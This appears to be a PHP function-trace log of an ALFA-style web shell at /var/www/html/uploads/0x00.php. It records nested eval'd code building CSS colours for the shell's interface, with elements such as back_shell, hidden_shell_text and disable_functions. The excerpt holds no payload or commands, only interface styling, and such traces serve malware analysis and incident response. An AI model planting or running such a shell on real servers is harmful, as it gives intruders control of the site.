7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#efbe73'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.back_shell{color: #efbe73;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'back_shell:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.back_shell:hover'
8 158 0 0.063450 3796744 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'back_shell:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
8 158 1 0.063483 3796744
8 158 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 159 0 0.063509 3796744 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 159 1 0.063526 3796880
8 159 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.back_shell:hover{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_pwd'
8 160 0 0.063581 3796808 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_pwd'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 160 1 0.063610 3796808
8 160 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_pwd{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_pwd:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.header_pwd:hover'
8 161 0 0.063680 3796808 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'header_pwd:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
8 161 1 0.063714 3796808
8 161 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 162 0 0.063740 3796808 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 162 1 0.063757 3796944
8 162 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.header_pwd:hover{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_drive'
8 163 0 0.063812 3796936 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_drive'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 163 1 0.063841 3796936
8 163 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_drive{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_drive:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.header_drive:hover'
8 164 0 0.063907 3796936 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'header_drive:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
8 164 1 0.063941 3796936
8 164 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 165 0 0.063966 3796936 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 165 1 0.063983 3797072
8 165 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.header_drive:hover{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_show_all'
8 166 0 0.064038 3796936 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_show_all'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 166 1 0.064067 3796936
8 166 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_show_all{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'disable_functions'
8 167 0 0.064120 3796936 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'disable_functions'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#ff0000'
8 167 1 0.064149 3796936
8 167 R '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.disable_functions{color: #ff0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'footer_text'
8 168 0 0.064208 3797064 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'footer_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#27979B'
8 168 1 0.064237 3797064
8 168 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.footer_text{color: #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'menu_options'
8 169 0 0.064292 3797064 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'menu_options'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#27979B'
8 169 1 0.064321 3797064
8 169 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.menu_options{color: #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'menu_options:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.menu_options:hover'
8 170 0 0.064390 3797064 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'menu_options:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
8 170 1 0.064425 3797064
8 170 R '#646464'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#646464'
8 171 0 0.064452 3797064 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
8 171 1 0.064470 3797240
8 171 R 'background-color: #646464;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #646464;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'options_list'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.content_options_holder .header center a'
8 172 0 0.064544 3797232 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'options_list'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
8 172 1 0.064579 3797232
8 172 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#00FF00'
8 173 0 0.064606 3797232 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#00FF00' 'color: {color};'
8 173 1 0.064624 3797368
8 173 R 'color: #00FF00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #00FF00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.content_options_holder .header center a{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'options_list:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.content_options_holder .header center a:hover'
8 174 0 0.064700 3797192 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'options_list:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
8 174 1 0.064734 3797192
8 174 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 175 0 0.064760 3797192 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 175 1 0.064778 3797328
8 175 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'options_list_header'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.txtfont_header'
8 176 0 0.064848 3797320 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'options_list_header'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
8 176 1 0.064882 3797320
8 176 R '#59cc33'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#59cc33'
8 177 0 0.064909 3797320 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#59cc33' 'color: {color};'
8 177 1 0.064926 3797456
8 177 R 'color: #59cc33;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #59cc33;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.txtfont_header{color: #59cc33;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'options_list_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.txtfont,.tbltxt'
8 178 0 0.064996 3797320 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'options_list_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
8 178 1 0.065031 3797320
8 178 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 179 0 0.065057 3797320 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 179 1 0.065074 3797456
8 179 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'Alfa+'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.alfa_plus'
8 180 0 0.065154 3797320 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'Alfa+'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
8 180 1 0.065194 3797320
8 180 R '#06ff0f'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#06ff0f'
8 181 0 0.065221 3797320 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
8 181 1 0.065238 3797480
8 181 R 'color: #06ff0f;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #06ff0f;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'hidden_shell_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '#hidden_sh a'
8 182 0 0.065310 3797344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'hidden_shell_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
8 182 1 0.065344 3797344
8 182 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#00FF00'
8 183 0 0.065371 3797344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#00FF00' 'color: {color};'
8 183 1 0.065388 3797480
8 183 R 'color: #00FF00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #00FF00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '#hidden_sh a{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'hidden_shell_version'
8 184 0 0.065445 3797576 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'hidden_shell_version'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#ff0000'
8 184 1 0.065474 3797576
8 184 R '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.hidden_shell_version{color: #ff0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'shell_name'
8 185 0 0.065528 3797576 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'shell_name'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#FF0000'
8 185 1 0.065556 3797576
8 185 R '#FF0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#FF0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.shell_name{color: #FF0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_row:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.main tr:hover'
8 186 0 0.065624 3797576 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'main_row:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
8 186 1 0.065657 3797576
8 186 R '#646464'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#646464'
8 187 0 0.065687 3797576 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#646464' 'background-color: {color};'
8 187 1 0.065705 3797728
8 187 R 'background-color: #646464;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #646464;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.main tr:hover{background-color: #646464;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_header'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.main th'
8 188 0 0.065776 3797592 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'main_header'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
8 188 1 0.065809 3797592
8 188 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 189 0 0.065835 3797592 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 189 1 0.065853 3797728
8 189 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.main th{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_name'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.main .main_name'
8 190 0 0.065922 3797576 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'main_name'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
8 190 1 0.065956 3797576
8 190 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 191 0 0.065982 3797576 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
8 191 1 0.066000 3797736
8 191 R 'color: #FFFFFF;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;font-weight: unset;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_size'
8 192 0 0.066058 3797600 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_size'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
8 192 1 0.066087 3797600
8 192 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_size{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_modify'
8 193 0 0.066143 3797600 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_modify'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
8 193 1 0.066171 3797600
8 193 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_modify{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_owner_group'
8 194 0 0.066229 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_owner_group'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
8 194 1 0.066257 3797856
8 194 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_owner_group{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_green_perm'
8 195 0 0.066311 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_green_perm'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#25ff00'
8 195 1 0.066339 3797856
8 195 R '#25ff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#25ff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_green_perm{color: #25ff00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_red_perm'
8 196 0 0.066394 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_red_perm'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#FF0000'
8 196 1 0.066422 3797856
8 196 R '#FF0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#FF0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_red_perm{color: #FF0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_white_perm'
8 197 0 0.066476 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'main_white_perm'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#FFFFFF'
8 197 1 0.066503 3797856
8 197 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.main_white_perm{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'beetween_perms'
8 198 0 0.066556 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'beetween_perms'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#FFFFFF'
8 198 1 0.066584 3797856
8 198 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.beetween_perms{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'main_actions'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.main .actions'
